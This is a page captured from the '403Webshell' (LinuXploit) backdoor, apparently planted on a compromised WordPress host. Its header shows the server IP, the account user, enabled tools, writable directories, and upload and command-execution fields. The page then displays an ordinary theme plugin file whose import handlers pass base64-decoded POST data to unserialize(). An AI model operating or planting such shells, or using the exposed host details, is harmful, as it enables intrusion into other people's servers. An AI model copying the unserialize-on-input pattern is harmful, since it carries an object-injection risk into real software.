403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaumee/www/curators/wp-content/plugins/select-core/export/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaumee/www/curators/wp-content/plugins/select-core/export/functions.php
<?php

if(!function_exists('mixtape_qodef_export_options')) {
	/**
	 * Function that saves theme options to db.
	 * It hooks to ajax wp_ajax_qodef_save_options action.
	 */
	function mixtape_qodef_export_options() {
		$options = get_option("qodef_options_mixtape");
		$output = base64_encode(serialize($options));

		return $output;
	}

}

if ( ! function_exists( 'mixtape_qodef_export_custom_sidebars' ) ) {
	function mixtape_qodef_export_custom_sidebars() {
		$custom_sidebars = get_option( "qodef_sidebars" );
		$output          = base64_encode( serialize( $custom_sidebars ) );
		
		return $output;
	}
}

if ( ! function_exists( 'mixtape_qodef_export_widgets_sidebars' ) ) {
	function mixtape_qodef_export_widgets_sidebars() {
		$data             = array();
		$data['sidebars'] = mixtape_qodef_export_sidebars();
		$data['widgets']  = mixtape_qodef_export_widgets();
		
		$output = base64_encode( serialize( $data ) );
		
		return $output;
	}
}

if ( ! function_exists( 'mixtape_qodef_export_widgets' ) ) {
	function mixtape_qodef_export_widgets() {
		global $wp_registered_widgets;
		
		$all_widgets = array();
		
		foreach ( $wp_registered_widgets as $widget_id => $widget_params ) {
			$all_widgets[] = $widget_params['callback'][0]->id_base;
		}
		
		foreach ( $all_widgets as $widget_id ) {
			$masterds_widget_data = get_option( 'widget_' . $widget_id );
			
			if ( ! empty( $masterds_widget_data ) ) {
				$widget_datas[ $widget_id ] = $masterds_widget_data;
			}
		}
		
		unset( $all_widgets );
		
		return $widget_datas;
	}
}

if ( ! function_exists( 'mixtape_qodef_export_sidebars' ) ) {
	function mixtape_qodef_export_sidebars() {
		$sidebars = get_option( "sidebars_widgets" );
		$sidebars = mixtape_qodef_exclude_sidebar_keys( $sidebars );
		
		return $sidebars;
	}
}

if ( ! function_exists( 'mixtape_qodef_exclude_sidebar_keys' ) ) {
	function mixtape_qodef_exclude_sidebar_keys( $keys = array() ) {
		if ( ! is_array( $keys ) ) {
			return $keys;
		}
		
		unset( $keys['wp_inactive_widgets'] );
		unset( $keys['array_version'] );
		
		return $keys;
	}
}

if(!function_exists('mixtape_qodef_import_theme_options')) {
	/**
	 * Function that import theme options to db.
	 * It hooks to ajax wp_ajax_mixtape_qodef_import_theme_options action.
	 */
	function mixtape_qodef_import_theme_options() {

		if(current_user_can('administrator')) {
			if (empty($_POST) || !isset($_POST)) {
				qodef_core_ajax_status('error', esc_html__('Import field is empty', 'qodef-cpt'));
			} else {
				$data = $_POST;
				if (wp_verify_nonce($data['nonce'], 'qodef_import_theme_options_secret_value')) {
					$content = $data['content'];
					$unserialized_content = unserialize(base64_decode($content));
					update_option( 'qodef_options_mixtape', $unserialized_content);
					qodef_core_ajax_status('success', esc_html__('Options are imported successfully', 'qodef-cpt'));
				} else {
					qodef_core_ajax_status('error', esc_html__('Non valid authorization', 'qodef-cpt'));
				}

			}
		} else {
			qodef_core_ajax_status('error', esc_html__('You don\'t have privileges for this operation', 'qodef-cpt'));
		}
	}

	add_action('wp_ajax_mixtape_qodef_import_theme_options', 'mixtape_qodef_import_theme_options');
}

if ( ! function_exists( 'mixtape_qodef_import_custom_sidebars' ) ) {
	/**
	 * Function that import custom sidebars to db.
	 * It hooks to ajax wp_ajax_mixtape_qodef_import_sidebar_and_widgets action.
	 */
	function mixtape_qodef_import_custom_sidebars() {
		if ( current_user_can( 'administrator' ) ) {
			
			if ( empty( $_POST ) || ! isset( $_POST ) ) {
				qodef_core_ajax_status( 'error', esc_html__( 'Import field is empty', 'masterds-core' ) );
			} else {
				$data = $_POST;
				
				if ( wp_verify_nonce( $data['nonce'], 'qodef_import_custom_sidebars_secret_value' ) ) {
					$content              = $data['content'];
					$unserialized_content = unserialize( base64_decode( $content ) );
					
					update_option( 'qodef_sidebars', $unserialized_content );
					qodef_core_ajax_status( 'success', esc_html__( 'Custom sidebars imported successfully', 'masterds-core' ) );
					
				} else {
					qodef_core_ajax_status( 'error', esc_html__( 'Non valid authorization', 'masterds-core' ) );
				}
			}
		} else {
			qodef_core_ajax_status( 'error', esc_html__( 'You don\'t have privileges for this operation', 'masterds-core' ) );
		}
	}
	
	add_action( 'wp_ajax_mixtape_qodef_import_custom_sidebars', 'mixtape_qodef_import_custom_sidebars' );
}

if ( ! function_exists( 'mixtape_qodef_import_widgets' ) ) {
	/**
	 * Function that import sidebars and widgets to db.
	 * It hooks to ajax wp_ajax_mixtape_qodef_import_sidebar_and_widgets action.
	 */
	function mixtape_qodef_import_widgets() {
		if ( current_user_can( 'administrator' ) ) {
			
			if ( empty( $_POST ) || ! isset( $_POST ) ) {
				qodef_core_ajax_status( 'error', esc_html__( 'Import field is empty', 'masterds-core' ) );
			} else {
				$data = $_POST;
				if ( wp_verify_nonce( $data['nonce'], 'qodef_import_widgets_secret_value' ) ) {
					$content              = $data['content'];
					$unserialized_content = unserialize( base64_decode( $content ) );
					
					foreach ( (array) $unserialized_content['widgets'] as $widget_id => $widget_data ) {
						update_option( 'widget_' . $widget_id, $widget_data );
					}
					
					$sidebars = get_option( "sidebars_widgets" );
					unset( $sidebars['array_version'] );
					$data = $unserialized_content;
					
					if ( is_array( $data['sidebars'] ) ) {
						$sidebars = array_merge( (array) $sidebars, (array) $data['sidebars'] );
						unset( $sidebars['wp_inactive_widgets'] );
						$sidebars                  = array_merge( array( 'wp_inactive_widgets' => array() ), $sidebars );
						$sidebars['array_version'] = 2;
						wp_set_sidebars_widgets( $sidebars );
					}

                    qodef_core_ajax_status( 'success', esc_html__( 'Widgets imported successfully', 'masterds-core' ) );
				} else {
					qodef_core_ajax_status( 'error', esc_html__( 'Non valid authorization', 'masterds-core' ) );
				}
			}
		} else {
			qodef_core_ajax_status( 'error', esc_html__( 'You don\'t have privileges for this operation', 'masterds-core' ) );
		}
	}
	
	add_action( 'wp_ajax_mixtape_qodef_import_widgets', 'mixtape_qodef_import_widgets' );
}

Youez - 2016 - github.com/yon3zu
LinuXploit